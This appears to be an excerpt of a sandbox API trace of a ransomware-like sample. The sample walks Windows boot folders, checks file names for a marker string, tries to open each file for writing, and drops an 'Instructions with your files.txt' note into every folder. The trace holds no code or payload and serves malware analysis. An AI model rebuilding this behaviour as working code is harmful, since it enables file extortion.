[0032.900] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="..", cAlternateFileName="")) returned 1
[0032.900] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\..") returned 20
[0032.900] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1
[0032.900] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf") returned 30
[0032.900] StrStrIW (lpFirst="chs_boot.ttf", lpSrch="SDfghjkl") returned 0x0
[0032.900] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0032.900] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1
[0032.900] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf") returned 30
[0032.900] StrStrIW (lpFirst="cht_boot.ttf", lpSrch="SDfghjkl") returned 0x0
[0032.900] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0032.907] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1
[0032.907] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf") returned 30
[0032.907] StrStrIW (lpFirst="jpn_boot.ttf", lpSrch="SDfghjkl") returned 0x0
[0032.907] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0032.907] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1
[0032.907] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf") returned 30
[0032.907] StrStrIW (lpFirst="kor_boot.ttf", lpSrch="SDfghjkl") returned 0x0
[0032.907] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0032.908] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1
[0032.908] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 31
[0032.908] StrStrIW (lpFirst="wgl4_boot.ttf", lpSrch="SDfghjkl") returned 0x0
[0032.908] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0032.908] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0
[0032.908] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\Fonts\\Instructions with your files.txt") returned 50
[0032.908] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\Instructions with your files.txt" (normalized: "c:\\boot\\fonts\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0032.911] WriteFile (in: hFile=0x108, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf3a4*=0x54, lpOverlapped=0x0) returned 1
[0032.912] WriteFile (in: hFile=0x108, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf3a4*=0x18, lpOverlapped=0x0) returned 1
[0032.912] WriteFile (in: hFile=0x108, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf3a4*=0xc, lpOverlapped=0x0) returned 1
[0032.912] WriteFile (in: hFile=0x108, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf3a4*=0x16, lpOverlapped=0x0) returned 1
[0032.913] WriteFile (in: hFile=0x108, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf3a4*=0x23, lpOverlapped=0x0) returned 1
[0032.913] CloseHandle (hObject=0x108) returned 1
[0032.913] FindClose (in: hFindFile=0x2fef00 | out: hFindFile=0x2fef00) returned 1
[0032.913] GetProcessHeap () returned 0x2e0000
[0032.913] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x325760 | out: hHeap=0x2e0000) returned 1
[0032.913] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1
[0032.913] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fr-FR") returned 17
[0032.913] GetProcessHeap () returned 0x2e0000
[0032.913] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x325760
[0032.913] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\fr-FR\\*") returned 19
[0032.913] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\fr-FR\\*", lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName=".", cAlternateFileName="")) returned 0x2fef00
[0032.932] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fr-FR\\.") returned 19
[0032.932] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="..", cAlternateFileName="")) returned 1
[0032.932] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fr-FR\\..") returned 20
[0032.932] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0032.932] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 33
[0032.933] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0032.933] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0032.933] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
[0032.933] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\fr-FR\\Instructions with your files.txt") returned 50
[0032.933] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\Instructions with your files.txt" (normalized: "c:\\boot\\fr-fr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0032.933] WriteFile (in: hFile=0x108, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf3a4*=0x54, lpOverlapped=0x0) returned 1
[0032.934] WriteFile (in: hFile=0x108, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf3a4*=0x18, lpOverlapped=0x0) returned 1
[0032.934] WriteFile (in: hFile=0x108, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf3a4*=0xc, lpOverlapped=0x0) returned 1
[0032.934] WriteFile (in: hFile=0x108, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf3a4*=0x16, lpOverlapped=0x0) returned 1
[0032.934] WriteFile (in: hFile=0x108, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf3a4*=0x23, lpOverlapped=0x0) returned 1
[0032.934] CloseHandle (hObject=0x108) returned 1
[0032.935] FindClose (in: hFindFile=0x2fef00 | out: hFindFile=0x2fef00) returned 1
[0032.935] GetProcessHeap () returned 0x2e0000
[0032.935] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x325760 | out: hHeap=0x2e0000) returned 1
[0032.935] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1
[0032.935] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\hu-HU") returned 17
[0032.935] GetProcessHeap () returned 0x2e0000
[0032.935] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x325760
[0032.935] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\hu-HU\\*") returned 19
[0032.935] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\hu-HU\\*", lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName=".", cAlternateFileName="")) returned 0x2fef00
[0032.935] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\hu-HU\\.") returned 19
[0032.935] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="..", cAlternateFileName="")) returned 1
[0032.936] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\hu-HU\\..") returned 20
[0032.936] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0032.936] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 33
[0032.936] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0032.936] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0032.936] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
[0032.936] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\hu-HU\\Instructions with your files.txt") returned 50
[0032.936] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\Instructions with your files.txt" (normalized: "c:\\boot\\hu-hu\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0032.936] WriteFile (in: hFile=0x108, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf3a4*=0x54, lpOverlapped=0x0) returned 1
[0032.937] WriteFile (in: hFile=0x108, lpBuffer=0x2fe3f2*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe3f2*, lpNumberOfBytesWritten=0xecf3a4*=0x18, lpOverlapped=0x0) returned 1
[0032.937] WriteFile (in: hFile=0x108, lpBuffer=0x1363900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363900*, lpNumberOfBytesWritten=0xecf3a4*=0xc, lpOverlapped=0x0) returned 1
[0032.937] WriteFile (in: hFile=0x108, lpBuffer=0x2fe424*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x2fe424*, lpNumberOfBytesWritten=0xecf3a4*=0x16, lpOverlapped=0x0) returned 1
[0032.937] WriteFile (in: hFile=0x108, lpBuffer=0x1363910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x1363910*, lpNumberOfBytesWritten=0xecf3a4*=0x23, lpOverlapped=0x0) returned 1
[0032.937] CloseHandle (hObject=0x108) returned 1
[0032.937] FindClose (in: hFindFile=0x2fef00 | out: hFindFile=0x2fef00) returned 1
[0032.937] GetProcessHeap () returned 0x2e0000
[0032.937] HeapFree (in: hHeap=0x2e0000, dwFlags=0x8, lpMem=0x325760 | out: hHeap=0x2e0000) returned 1
[0032.938] FindNextFileW (in: hFindFile=0x2feec0, lpFindFileData=0xecf654 | out: lpFindFileData=0xecf654*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1
[0032.938] wnsprintfW (in: pszDest=0x314750, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\it-IT") returned 17
[0032.938] GetProcessHeap () returned 0x2e0000
[0032.938] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x8, Size=0xfffe) returned 0x325760
[0032.938] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\it-IT\\*") returned 19
[0032.938] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*", lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName=".", cAlternateFileName="")) returned 0x2fef00
[0032.941] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\it-IT\\.") returned 19
[0032.941] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="..", cAlternateFileName="")) returned 1
[0032.941] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\it-IT\\..") returned 20
[0032.941] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
[0032.941] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 33
[0032.941] StrStrIW (lpFirst="bootmgr.exe.mui", lpSrch="SDfghjkl") returned 0x0
[0032.941] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
[0032.941] FindNextFileW (in: hFindFile=0x2fef00, lpFindFileData=0xecf3c4 | out: lpFindFileData=0xecf3c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x4000000, dwReserved1=0x300568, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
[0032.941] wnsprintfW (in: pszDest=0x325760, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\it-IT\\Instructions with your files.txt") returned 50
[0032.941] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\Instructions with your files.txt" (normalized: "c:\\boot\\it-it\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0032.941] WriteFile (in: hFile=0x108, lpBuffer=0x13638a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xecf3a4, lpOverlapped=0x0 | out: lpBuffer=0x13638a8*, lpNumberOfBytesWritten=0xecf3a4*=0x54, lpOverlapped=0x0) returned 1
